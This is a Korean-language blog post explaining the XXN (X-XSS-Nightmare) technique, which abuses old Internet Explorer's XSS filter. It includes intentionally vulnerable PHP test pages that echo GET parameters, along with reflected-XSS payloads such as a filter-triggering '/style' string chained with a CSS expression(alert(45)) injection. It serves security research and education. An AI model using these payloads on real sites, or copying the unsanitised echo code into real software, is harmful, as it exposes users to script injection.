[WEB HACKING] XXN Attack(X-XSS-Nightmare) :: R-XSS Bypass Browser XSS Filter
작년 말 이 재미있는 XXN 공격에 대해 듣게되고 분석을 해보았었고 이제서야 글로 작성하게 되네요.
12월에 Masato Kinugawa가 공유한 기법입니다. 현재 CVE-2015-6144, CVE-2015-6176으로 CVE Number가 할당되어 있습니다.
MS에서도 작년 12월에 패치를 진행했었네요.
이 공격은 기존 Reflected XSS에 대한 대안으로 만들어진 각 브라우저 별 XSS 필터 기능에 대한 취약점을 다루는 내용입니다. 실제로 Reflected XSS에 대한 테스트 시 각 브라우저 별 XSS 필터, 공격사이트 차단 등의 기능을 끈 채로 수행하게 됩니다. 이러한 방법으로 찾아낸 XSS는 사용 시 대다수가 브라우저 필터링에 막혀 영향력이 높게 발생하지는 않습니다. (물론 예외도 있겠지요.)
Browser XSS Filter의 원리
각각 브라우저사에서 사용하는 XSS 필터는 유사한 형태의 규칙을 가지고 있고 마사토씨는 이 필터링 규칙을 우회하여 Reflected XSS 공격을 성공하게 됩니다.
예시로 아래 프리젠테이션 이미지처럼 정규식으로 구성되어 있습니다. 이 부분을 만족하지 않도록 구문을 작성한다면, 필터링을 피해갈 수 있고 XXN 공격은 그 필터링 규칙을 피해가는 방법에 대한 내용으로 구성됩니다.
http://www.slideshare.net/masatokinugawa |
테스트를 위한 간단한 XSS 취약 PHP 코드 작성하기
<?php
$var = $_GET['param'];
echo $var;
?>
<?php
$var = $_GET['param'];
echo "<script src='";echo $var;echo"'></script>";
?>
<style>
body{background:black}
</style>
<body>
</body>
위와 같이 Reflected XSS를 유발할 수 있는 코드를 작성 후 테스트하시면서 문서 보시면 좋을 것 같네요.
in: http://127.0.0.1/xxn.php?param=1 out: 1
in: 127.0.0.1/xxn.php?param= out:
XXN(X-XSS-Nightmare)
XXN의 기법은 브라우저 필터링을 우회하기 위해서 강제로 브라우저 필터링을 동작시키는데 의미가 있습니다. 자료에서 예시로 보여준 style 태그 XSS(IE 구버전 한정)는 브라우저가 style 태그를 이용한 공격구문임을 확인 시 #으로 치환하여 필터링 하는 과정에서 문제가 있었습니다.
아래 코드를 예시로 설명드리겠습니다.
<?php
var param = $_GET['param'];
?>
<style>
test{width:100px;}
</style>
<input value="<?php echo $var; ?>">
위와 같이 GET 요청으로 param 파라미터에 값을 넘겼을 시 input 태그 내 value 값으로 들어가게 되는 코드입니다. 일반적으로 Reflected XSS를 위해서 “ onfocus=alert(45) autofocus 나 “ type=image src=asd onerror=alert(45) 등 구문을 넣어 XSS를 시도합니다. 대체로 브라우저 필터링 규칙에 의해서 위 구문들은 필터링 처리되어 나타납니다.
예시에서 보여준 데이터는 구 IE에서 가능했던 style 태그를 이용한 XSS이며 해당 공격요청을 파라미터로 넘기게 되면 아래와 같이 필터링되어 나타납니다.
in: 127.0.0.1/xxn.php?param=” style=”x:expression(alert(45)) out:
<style>
test{width:100px;}
</style>
<input value="" st#le="x:expression(alert(45))">
style 속성 부분에서 y가 #으로 필터링되어 영향력이 없어집니다.
공격자를 아래 규칙을 만족하기 위해서 여러번의 테스틀 거쳐 정규식을 통과합니다. (자료에서 워낙 잘 나타내 주어서 자료 부분 보시는게 이해가 빠를 것 같슴니다)
http://www.slideshare.net/masatokinugawa |
아래처럼 정규식을 만족시키는 구문을 만들어 강제로 필터링을 이끌어 냈습니다.
http://www.slideshare.net/masatokinugawa |
in: 127.0.0.1/xxn.php?param=/style++++++=++=
out:
<style>
test{width:100px;}
</st#le>
<input value="">
재미있는건 필터링으로 인해서 앞에있던 style 태그에 영향을 끼쳤다는 것이지요. 그래서 style 태그의 끝이 사라지게 되고 아래 부분이 모두 CSS처럼 동작할 수 있게 됩니다. Javascript 와 달리 Style은 구문에러와 무관하게 동작이 가능하기 때문에 공격자는 아래와 같은 패턴으로 공격구문을 삽입하게 됩니다.
in: 127.0.0.1/xxn.php?param=%0a{}*{x:expression(alert(45))}&/style++++++=++=
out:
<style>
test{width:100px;}
</st#le>
<input value="
{}*{x:expression(alert(45))}">
그러면 style 태그가 깨지면서 %0a로 개행한 expression 구문이 있는 스크립트가 동작하게 됩니다. 이러한 형태의 기법들로 여러가지 X-XSS-Nightmare 기법이 소개되었고 잘 활용할 수 있다면 Reflected XSS를 테스트함에 있어 더욱 강한 영량력을 나타낼 수 있을 것 같습니다.
일단 굉장히 재미있는 부분이였기 때문에 개인적으로도 좀 연구해볼까 합니다. 이런 흥미로운 주제를 공유해준 마사토(Masato Kinugawa) 님께 감사의 인사를 :)
SlideShared PPT File
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter (target=undefined title=undefined) from Masato Kinugawa
Reference
http://mksben.l0.cm/2015/12/xxn.html http://www.slideshare.net/masatokinugawa/xxn-en